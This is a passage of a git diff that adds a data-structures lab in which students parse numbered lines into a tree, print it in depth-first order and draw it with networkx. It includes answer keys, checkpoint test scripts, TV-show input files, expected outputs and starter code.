+Adding edges and Getting the "pos" explained
+
+### order
+1
+
+### gems
+0
+
+## 4-2-1
+
+### name
+Displaying the graph explained
+
+### order
+1
+
+### gems
+0
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/checkpoint2_ans.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/checkpoint2_ans.py
new file mode 100644
index 00000000..376bb65a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/checkpoint2_ans.py
@@ -0,0 +1,120 @@
+import networkx as nx
+import matplotlib.pyplot as plt
+from collections import defaultdict
+
+# part 2 - create your own graph object
+class Graph:
+ def __init__(self):
+ self.edges = defaultdict(list)
+ self.val_map = {}
+
+ def add_edge(self, from_node, to_node):
+ self.edges[from_node].append(to_node)
+
+ def add_val_map(self, val_map):
+ self.val_map = val_map
+
+
+
+#provided method
+#will help in displaying with networkx
+#Param: G = networkx graph
+#Param: root = "top" of the data structure
+def hierarchy_pos(G, root=None, width=1., vert_gap = 0.2, vert_loc = 0, xcenter = 0.5):
+ '''
+ From Joel's answer at https://stackoverflow.com/a/29597209/2966723.
+ Licensed under Creative Commons Attribution-Share Alike
+ If the graph is a tree this will return the positions to plot this in a
+ hierarchical layout.
+ G: the graph (must be a tree)
+ root: the root node of current branch
+ - if the tree is directed and this is not given,
+ the root will be found and used
+ - if the tree is directed and this is given, then
+ the positions will be just for the descendants of this node.
+ - if the tree is undirected and not given,
+ then a random choice will be used.
+ width: horizontal space allocated for this branch - avoids overlap with other branches
+ vert_gap: gap between levels of hierarchy
+ vert_loc: vertical location of root
+ xcenter: horizontal location of root
+ '''
+ if not nx.is_tree(G):
+ raise TypeError('cannot use hierarchy_pos on a graph that is not a tree')
+ if root is None:
+ if isinstance(G, nx.DiGraph):
+ root = next(iter(nx.topological_sort(G))) #allows back compatibility with nx version 1.11
+ else:
+ root = random.choice(list(G.nodes))
+ def _hierarchy_pos(G, root, width=1., vert_gap = 0.2, vert_loc = 0, xcenter = 0.5, pos = None, parent = None):
+ '''
+ see hierarchy_pos docstring for most arguments
+ pos: a dict saying where all nodes go if they have been assigned
+ parent: parent of this branch. - only affects it if non-directed
+ '''
+ if pos is None:
+ pos = {root:(xcenter,vert_loc)}
+ else:
+ pos[root] = (xcenter, vert_loc)
+ children = list(G.neighbors(root))
+ if not isinstance(G, nx.DiGraph) and parent is not None:
+ children.remove(parent)
+ if len(children)!=0:
+ dx = width/len(children)
+ nextx = xcenter - width/2 - dx/2
+ for child in children:
+ nextx += dx
+ pos = _hierarchy_pos(G,child, width = dx, vert_gap = vert_gap,
+ vert_loc = vert_loc-vert_gap, xcenter=nextx,
+ pos=pos, parent = root)
+ return pos
+ return _hierarchy_pos(G, root, width, vert_gap, vert_loc, xcenter)
+
+def main():
+ # initialize a list for the edges and a dictionary for values
+ edges = []
+ val_map = {}
+
+ # read the file
+ readFile(edges, val_map)
+
+ # create the Graph
+ G = Graph()
+
+ # add all the edges
+ for edge in edges:
+ G.add_edge(*edge)
+
+ # add your val_map
+ G.add_val_map(val_map)
+
+
+ #TODO for part 3
+ #print the file structure in order
+ #beware that the input file may not
+ #be in numerical order.
+ #reminder: the format is ###.some name
+ #hint: use DFS
+ #note: you don't have to do this in the
+ #main method
+
+ #TODO for part 4
+ #display the graph using networkx and matplotlib
+ #HINT: the activity on directed graphs
+ #may be helpful ;)
+ #note: you don't have to do this in the
+ #main method
+
+
+# part 1 function
+def readFile(edges, val_map):
+ readFile = open("input.txt", "r")
+ for line in readFile:
+ dirAndVal = line.split(".")
+ dirAndVal[1] = dirAndVal[1].strip()
+ if (dirAndVal[0] != "0"):
+ aTuple = (dirAndVal[0][:-1], dirAndVal[0])
+ edges.append(aTuple)
+ val_map[dirAndVal[0]] = dirAndVal[1]
+
+main()
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/checkpoint2_testing.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/checkpoint2_testing.py
new file mode 100644
index 00000000..32faa5d5
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/checkpoint2_testing.py
@@ -0,0 +1,49 @@
+# This file is used to output the edges and values of various graphs based on COMMAND-LINE Input of a file.
+# I asked student to add the print statements at the end of the main() function to their code, so that we can do a
+# diff (for testing) between what their code outputs and what this one does
+import sys
+from collections import defaultdict
+
+def main():
+ edges = []
+ val_map = {}
+ readFile(edges, val_map)
+ G = Graph()
+ G.add_val_map(val_map)
+ for edge in edges:
+ G.add_edge(*edge)
+ G.add_val_map(val_map)
+
+
+ print("Edges:")
+ for edge in sorted(edges):
+ print(edge)
+ print("Values:")
+ for number in sorted(val_map):
+ print(number, val_map[number])
+
+
+
+
+def readFile(edges, val_map):
+ readFile = open(sys.argv[1], "r")
+ for line in readFile:
+ dirAndVal = line.split(".")
+ dirAndVal[1] = dirAndVal[1].strip()
+ if (dirAndVal[0] != "0"):
+ aTuple = (dirAndVal[0][:-1], dirAndVal[0])
+ edges.append(aTuple)
+ val_map[dirAndVal[0]] = dirAndVal[1]
+
+class Graph:
+ def __init__(self):
+ self.edges = defaultdict(list)
+ self.val_map = {}
+
+ def add_edge(self, from_node, to_node):
+ self.edges[from_node].append(to_node)
+
+ def add_val_map(self, val_map):
+ self.val_map = val_map
+
+main()
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/input1.txt b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/input1.txt
new file mode 100644
index 00000000..7d1aca95
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/input1.txt
@@ -0,0 +1,8 @@
+0. Friends
+01. Season 1
+011. Seinfeld
+012. The Big Bang Theory
+013. Cheers
+02. Season 2
+021. Parks and Recreation
+022. How I Met Your Mother
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/input2.txt b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/input2.txt
new file mode 100644
index 00000000..158074bb
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/input2.txt
@@ -0,0 +1,6 @@
+0. Prison Break
+01. Season 1
+02. Season 2
+03. Season 3
+011. Lost
+021. Vanished
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/input3.txt b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/input3.txt
new file mode 100644
index 00000000..513f03dc
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/input3.txt
@@ -0,0 +1,7 @@
+031. The X-Files
+02. Season 2
+0. Stranger Things
+03. Season 3
+012. Black Mirror
+011. The Haunting of Hill House
+01. Season 1
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/test1.test b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/test1.test
new file mode 100644
index 00000000..a5a541d3
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/test1.test
@@ -0,0 +1,19 @@
+Testing Creating the Graph
+>>> main()
+Edges:
+('0', '01')
+('0', '02')
+('01', '011')
+('01', '012')
+('01', '013')
+('02', '021')
+('02', '022')
+Values:
+0 Friends
+01 Season 1
+011 Seinfeld
+012 The Big Bang Theory
+013 Cheers
+02 Season 2
+021 Parks and Recreation
+022 How I Met Your Mother
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/test2.test b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/test2.test
new file mode 100644
index 00000000..309b5097
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/test2.test
@@ -0,0 +1,15 @@
+Testing Creating the Graph
+>>> main()
+Edges:
+('0', '01')
+('0', '02')
+('0', '03')
+('01', '011')
+('02', '021')
+Values:
+0 Prison Break
+01 Season 1
+011 Lost
+02 Season 2
+021 Vanished
+03 Season 3
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/test3.test b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/test3.test
new file mode 100644
index 00000000..5736c564
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/2-Checkpoint-Tests/test3.test
@@ -0,0 +1,17 @@
+Testing Creating the Graph
+>>> main()
+Edges:
+('0', '01')
+('0', '02')
+('0', '03')
+('01', '011')
+('01', '012')
+('03', '031')
+Values:
+0 Stranger Things
+01 Season 1
+011 The Haunting of Hill House
+012 Black Mirror
+02 Season 2
+03 Season 3
+031 The X-Files
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/checkpoint4_ans.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/checkpoint4_ans.py
new file mode 100644
index 00000000..012e228f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/checkpoint4_ans.py
@@ -0,0 +1,136 @@
+import networkx as nx
+import matplotlib.pyplot as plt
+from collections import defaultdict
+
+# part 2 - create your own graph object
+class Graph:
+ def __init__(self):
+ self.edges = defaultdict(list)
+ self.val_map = {}
+
+ def add_edge(self, from_node, to_node):
+ self.edges[from_node].append(to_node)
+
+ def add_val_map(self, val_map):
+ self.val_map = val_map
+
+ # part 3 - DFS Traversal of Graph
+ def print_ordered_file_structure(self, start):
+ visited = defaultdict(bool)
+ stack = []
+ stack.append(start)
+ visited[start] = True
+ while stack:
+ start = stack.pop()
+ f = open("output.txt", "a")
+ f.write(start+'. ' + self.val_map[start] + '\n')
+ f.close()
+ lst = self.edges[start]
+ lst.sort()
+ lst = lst[::-1]
+ for j in lst:
+ if visited[j] == False:
+ stack.append(j)
+ visited[j] = True
+
+#provided method
+#will help in displaying with networkx
+#Param: G = networkx graph
+#Param: root = "top" of the data structure
+def hierarchy_pos(G, root=None, width=1., vert_gap = 0.2, vert_loc = 0, xcenter = 0.5):
+ '''
+ From Joel's answer at https://stackoverflow.com/a/29597209/2966723.
+ Licensed under Creative Commons Attribution-Share Alike
+ If the graph is a tree this will return the positions to plot this in a
+ hierarchical layout.
+ G: the graph (must be a tree)
+ root: the root node of current branch
+ - if the tree is directed and this is not given,
+ the root will be found and used
+ - if the tree is directed and this is given, then
+ the positions will be just for the descendants of this node.
+ - if the tree is undirected and not given,
+ then a random choice will be used.
+ width: horizontal space allocated for this branch - avoids overlap with other branches
+ vert_gap: gap between levels of hierarchy
+ vert_loc: vertical location of root
+ xcenter: horizontal location of root
+ '''
+ if not nx.is_tree(G):
+ raise TypeError('cannot use hierarchy_pos on a graph that is not a tree')
+ if root is None:
+ if isinstance(G, nx.DiGraph):
+ root = next(iter(nx.topological_sort(G))) #allows back compatibility with nx version 1.11
+ else:
+ root = random.choice(list(G.nodes))
+ def _hierarchy_pos(G, root, width=1., vert_gap = 0.2, vert_loc = 0, xcenter = 0.5, pos = None, parent = None):
+ '''
+ see hierarchy_pos docstring for most arguments
+ pos: a dict saying where all nodes go if they have been assigned
+ parent: parent of this branch. - only affects it if non-directed
+ '''
+ if pos is None:
+ pos = {root:(xcenter,vert_loc)}
+ else:
+ pos[root] = (xcenter, vert_loc)
+ children = list(G.neighbors(root))
+ if not isinstance(G, nx.DiGraph) and parent is not None:
+ children.remove(parent)
+ if len(children)!=0:
+ dx = width/len(children)
+ nextx = xcenter - width/2 - dx/2
+ for child in children:
+ nextx += dx
+ pos = _hierarchy_pos(G,child, width = dx, vert_gap = vert_gap,
+ vert_loc = vert_loc-vert_gap, xcenter=nextx,
+ pos=pos, parent = root)
+ return pos
+ return _hierarchy_pos(G, root, width, vert_gap, vert_loc, xcenter)
+
+# part 1 function
+def readFile(edges, val_map):
+ readFile = open("input.txt", "r")
+ for line in readFile:
+ dirAndVal = line.split(".")
+ dirAndVal[1] = dirAndVal[1].strip()
+ if (dirAndVal[0] != "0"):
+ aTuple = (dirAndVal[0][:-1], dirAndVal[0])
+ edges.append(aTuple)
+ val_map[dirAndVal[0]] = dirAndVal[1]
+
+def main():
+ # initialize a list for the edges and a dictionary for values
+ edges = []
+ val_map = {}
+
+ # read the file
+ readFile(edges, val_map)
+
+ # create the Graph
+ G = Graph()
+
+ # add all the edges
+ for edge in edges:
+ G.add_edge(*edge)
+
+ # add your val_map
+ G.add_val_map(val_map)
+
+ # part 3 - DFS Traversal of Graph
+ G.print_ordered_file_structure("0")
+
+ # part 4 - use networkx
+ # G2 will be equivalent to our original graph G, but will be a networkx graph so that we can use the networkx functions
+ G2 = nx.Graph()
+ G2.add_edges_from(edges)
+
+ # use hierarchy_pos with root = "0"
+ pos = hierarchy_pos(G2,"0")
+
+ # networkx functions to draw graph. Notice that for draw_networkx_labels we pass in the val_map as the labels for the nodes
+ nx.draw(G2, pos = pos, with_labels = False)
+ nx.draw_networkx_labels(G2, pos, val_map, 8)
+ plt.show()
+
+
+main()
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/checkpoint4_testing.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/checkpoint4_testing.py
new file mode 100644
index 00000000..6f6c5f30
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/checkpoint4_testing.py
@@ -0,0 +1,140 @@
+# This file is used to output the edges and values of various graphs based on COMMAND-LINE Input of a file and DFS run on that input.
+# Note that this file outputs the answer to an "output.txt" file
+# Even though at this point of the lab they will have completed the networkx algorithms, we will not be testing this. This will ONLY test the DFS function (i.e. print_ordered_file_structure)
+import sys
+import networkx as nx
+import matplotlib.pyplot as plt
+from collections import defaultdict
+
+# part 2 - create your own graph object
+class Graph:
+ def __init__(self):
+ self.edges = defaultdict(list)
+ self.val_map = {}
+
+ def add_edge(self, from_node, to_node):
+ self.edges[from_node].append(to_node)
+
+ def add_val_map(self, val_map):
+ self.val_map = val_map
+
+ # part 3 - DFS Traversal of Graph
+ def print_ordered_file_structure(self, start):
+ visited = defaultdict(bool)
+ stack = []
+ stack.append(start)
+ visited[start] = True
+ while stack:
+ start = stack.pop()
+ f = open("output.txt", "a")
+ f.write(start+'. ' + self.val_map[start] + '\n')
+ f.close()
+ lst = self.edges[start]
+ lst.sort()
+ lst = lst[::-1]
+ for j in lst:
+ if visited[j] == False:
+ stack.append(j)
+ visited[j] = True
+
+#provided method
+#will help in displaying with networkx
+#Param: G = networkx graph
+#Param: root = "top" of the data structure
+def hierarchy_pos(G, root=None, width=1., vert_gap = 0.2, vert_loc = 0, xcenter = 0.5):
+ '''
+ From Joel's answer at https://stackoverflow.com/a/29597209/2966723.
+ Licensed under Creative Commons Attribution-Share Alike
+ If the graph is a tree this will return the positions to plot this in a
+ hierarchical layout.
+ G: the graph (must be a tree)
+ root: the root node of current branch
+ - if the tree is directed and this is not given,
+ the root will be found and used
+ - if the tree is directed and this is given, then
+ the positions will be just for the descendants of this node.
+ - if the tree is undirected and not given,
+ then a random choice will be used.
+ width: horizontal space allocated for this branch - avoids overlap with other branches
+ vert_gap: gap between levels of hierarchy
+ vert_loc: vertical location of root
+ xcenter: horizontal location of root
+ '''
+ if not nx.is_tree(G):
+ raise TypeError('cannot use hierarchy_pos on a graph that is not a tree')
+ if root is None:
+ if isinstance(G, nx.DiGraph):
+ root = next(iter(nx.topological_sort(G))) #allows back compatibility with nx version 1.11
+ else:
+ root = random.choice(list(G.nodes))
+ def _hierarchy_pos(G, root, width=1., vert_gap = 0.2, vert_loc = 0, xcenter = 0.5, pos = None, parent = None):
+ '''
+ see hierarchy_pos docstring for most arguments
+ pos: a dict saying where all nodes go if they have been assigned
+ parent: parent of this branch. - only affects it if non-directed
+ '''
+ if pos is None:
+ pos = {root:(xcenter,vert_loc)}
+ else:
+ pos[root] = (xcenter, vert_loc)
+ children = list(G.neighbors(root))
+ if not isinstance(G, nx.DiGraph) and parent is not None:
+ children.remove(parent)
+ if len(children)!=0:
+ dx = width/len(children)
+ nextx = xcenter - width/2 - dx/2
+ for child in children:
+ nextx += dx
+ pos = _hierarchy_pos(G,child, width = dx, vert_gap = vert_gap,
+ vert_loc = vert_loc-vert_gap, xcenter=nextx,
+ pos=pos, parent = root)
+ return pos
+ return _hierarchy_pos(G, root, width, vert_gap, vert_loc, xcenter)
+
+# part 1 function
+def readFile(edges, val_map):
+ readFile = open(sys.argv[1], "r")
+ for line in readFile:
+ dirAndVal = line.split(".")
+ dirAndVal[1] = dirAndVal[1].strip()
+ if (dirAndVal[0] != "0"):
+ aTuple = (dirAndVal[0][:-1], dirAndVal[0])
+ edges.append(aTuple)
+ val_map[dirAndVal[0]] = dirAndVal[1]
+
+def main():
+ # initialize a list for the edges and a dictionary for values
+ edges = []
+ val_map = {}
+
+ # read the file
+ readFile(edges, val_map)
+
+ # create the Graph
+ G = Graph()
+
+ # add all the edges
+ for edge in edges:
+ G.add_edge(*edge)
+
+ # add your val_map
+ G.add_val_map(val_map)
+
+ # part 3 - DFS Traversal of Graph
+ G.print_ordered_file_structure("0")
+
+ # part 4 - use networkx
+ # G2 will be equivalent to our original graph G, but will be a networkx graph so that we can use the networkx functions
+ G2 = nx.Graph()
+ G2.add_edges_from(edges)
+
+ # use hierarchy_pos with root = "0"
+ pos = hierarchy_pos(G2,"0")
+
+ # networkx functions to draw graph. Notice that for draw_networkx_labels we pass in the val_map as the labels for the nodes
+ nx.draw(G2, pos = pos, with_labels = False)
+ nx.draw_networkx_labels(G2, pos, val_map, 8)
+ plt.show()
+
+
+main()
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/input1.txt b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/input1.txt
new file mode 100644
index 00000000..7d1aca95
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/input1.txt
@@ -0,0 +1,8 @@
+0. Friends
+01. Season 1
+011. Seinfeld
+012. The Big Bang Theory
+013. Cheers
+02. Season 2
+021. Parks and Recreation
+022. How I Met Your Mother
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/input2.txt b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/input2.txt
new file mode 100644
index 00000000..158074bb
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/input2.txt
@@ -0,0 +1,6 @@
+0. Prison Break
+01. Season 1
+02. Season 2
+03. Season 3
+011. Lost
+021. Vanished
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/input3.txt b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/input3.txt
new file mode 100644
index 00000000..513f03dc
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/input3.txt
@@ -0,0 +1,7 @@
+031. The X-Files
+02. Season 2
+0. Stranger Things
+03. Season 3
+012. Black Mirror
+011. The Haunting of Hill House
+01. Season 1
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/test1.test b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/test1.test
new file mode 100644
index 00000000..528d6869
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/test1.test
@@ -0,0 +1,10 @@
+Testing DFS
+>>> main()
+0. Friends
+01. Season 1
+011. Seinfeld
+012. The Big Bang Theory
+013. Cheers
+02. Season 2
+021. Parks and Recreation
+022. How I Met Your Mother
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/test2.test b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/test2.test
new file mode 100644
index 00000000..003f7c33
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/test2.test
@@ -0,0 +1,8 @@
+Testing DFS
+>>> main()
+0. Prison Break
+01. Season 1
+011. Lost
+02. Season 2
+021. Vanished
+03. Season 3
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/test3.test b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/test3.test
new file mode 100644
index 00000000..c9a09c1a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/Checkpoints/4-Checkpoint-Tests/test3.test
@@ -0,0 +1,9 @@
+Testing DFS
+>>> main()
+0. Stranger Things
+01. Season 1
+011. The Haunting of Hill House
+012. Black Mirror
+02. Season 2
+03. Season 3
+031. The X-Files
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/StudentStarter.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/StudentStarter.py
new file mode 100644
index 00000000..1d9457bc
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/Student-Starter/StudentStarter.py
@@ -0,0 +1,101 @@
+import networkx as nx
+import matplotlib.pyplot as plt
+from collections import defaultdict
+
+#TODO for part 2
+#create your own graph object
+class Graph():
+ def __init__(self):
+ #define graph attributes
+
+
+
+#provided method
+#will help in displaying with networkx
+#Param: G = networkx graph
+#Param: root = "top" of the data structure
+def hierarchy_pos(G, root=None, width=1., vert_gap = 0.2, vert_loc = 0, xcenter = 0.5):
+ '''
+ From Joel's answer at https://stackoverflow.com/a/29597209/2966723.
+ Licensed under Creative Commons Attribution-Share Alike
+ If the graph is a tree this will return the positions to plot this in a
+ hierarchical layout.
+ G: the graph (must be a tree)
+ root: the root node of current branch
+ - if the tree is directed and this is not given,
+ the root will be found and used
+ - if the tree is directed and this is given, then
+ the positions will be just for the descendants of this node.
+ - if the tree is undirected and not given,
+ then a random choice will be used.
+ width: horizontal space allocated for this branch - avoids overlap with other branches
+ vert_gap: gap between levels of hierarchy
+ vert_loc: vertical location of root
+ xcenter: horizontal location of root
+ '''
+ if not nx.is_tree(G):
+ raise TypeError('cannot use hierarchy_pos on a graph that is not a tree')
+ if root is None:
+ if isinstance(G, nx.DiGraph):
+ root = next(iter(nx.topological_sort(G))) #allows back compatibility with nx version 1.11
+ else:
+ root = random.choice(list(G.nodes))
+ def _hierarchy_pos(G, root, width=1., vert_gap = 0.2, vert_loc = 0, xcenter = 0.5, pos = None, parent = None):
+ '''
+ see hierarchy_pos docstring for most arguments
+ pos: a dict saying where all nodes go if they have been assigned
+ parent: parent of this branch. - only affects it if non-directed
+ '''
+ if pos is None:
+ pos = {root:(xcenter,vert_loc)}
+ else:
+ pos[root] = (xcenter, vert_loc)
+ children = list(G.neighbors(root))
+ if not isinstance(G, nx.DiGraph) and parent is not None:
+ children.remove(parent)
+ if len(children)!=0:
+ dx = width/len(children)
+ nextx = xcenter - width/2 - dx/2
+ for child in children:
+ nextx += dx
+ pos = _hierarchy_pos(G,child, width = dx, vert_gap = vert_gap,
+ vert_loc = vert_loc-vert_gap, xcenter=nextx,
+ pos=pos, parent = root)
+ return pos
+ return _hierarchy_pos(G, root, width, vert_gap, vert_loc, xcenter)
+
+def main():
+ #TODO for part 1
+ #read the input file: "input.txt"
+ #will contain structural numbers and names
+ #format: ###.some name
+ #parse the file for the structural numbers
+ #and the names that you will use to make
+ #your own graph
+ #note: you don't have to do this in the
+ #main method
+
+
+ #TODO for part 3
+ #print the file structure in order
+ #beware that the input file may not
+ #be in numerical order.
+ #reminder: the format is ###.some name
+ #hint: use DFS
+ #note: you don't have to do this in the
+ #main method
+
+ #TODO for part 4
+ #display the graph using networkx and matplotlib
+ #HINT: the activity on directed graphs
+ #may be helpful ;)
+ #note: you don't have to do this in the
+ #main method
+ # NOTE: for part 4, make sure to use G2 as your graph
+ # and NOT the graph you construct from your custom class
+ # you will still need to add aspects of your original
+ # graph to G2, but for all the networkx and matplotlib functions
+ # use G2 as the graph you pass into the function
+ G2 = nx.Graph()
+
+main()
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/StudentStarter.py b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/StudentStarter.py
new file mode 100644
index 00000000..71b5b7a1
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab3_File_System/StudentStarter.py
@@ -0,0 +1,95 @@
+import networkx as nx
+import matplotlib.pyplot as plt
+from collections import defaultdict
+
+#TODO for part 2
+#create your own graph object
+class Graph():
+ def __init__(self):
+ #define graph attributes
+
+
+
+#provided method
+#will help in displaying with networkx
+#Param: G = networkx graph
+#Param: root = "top" of the data structure
+def hierarchy_pos(G, root=None, width=1., vert_gap = 0.2, vert_loc = 0, xcenter = 0.5):
+ '''
+ From Joel's answer at https://stackoverflow.com/a/29597209/2966723.
+ Licensed under Creative Commons Attribution-Share Alike
+ If the graph is a tree this will return the positions to plot this in a
+ hierarchical layout.
+ G: the graph (must be a tree)
+ root: the root node of current branch
+ - if the tree is directed and this is not given,
+ the root will be found and used
+ - if the tree is directed and this is given, then
+ the positions will be just for the descendants of this node.
+ - if the tree is undirected and not given,
+ then a random choice will be used.
+ width: horizontal space allocated for this branch - avoids overlap with other branches
+ vert_gap: gap between levels of hierarchy
+ vert_loc: vertical location of root
+ xcenter: horizontal location of root
+ '''
+ if not nx.is_tree(G):
+ raise TypeError('cannot use hierarchy_pos on a graph that is not a tree')
+ if root is None:
+ if isinstance(G, nx.DiGraph):
+ root = next(iter(nx.topological_sort(G))) #allows back compatibility with nx version 1.11
+ else:
+ root = random.choice(list(G.nodes))
+ def _hierarchy_pos(G, root, width=1., vert_gap = 0.2, vert_loc = 0, xcenter = 0.5, pos = None, parent = None):
+ '''
+ see hierarchy_pos docstring for most arguments
+ pos: a dict saying where all nodes go if they have been assigned
+ parent: parent of this branch. - only affects it if non-directed
+ '''
+ if pos is None:
+ pos = {root:(xcenter,vert_loc)}
+ else:
+ pos[root] = (xcenter, vert_loc)
+ children = list(G.neighbors(root))
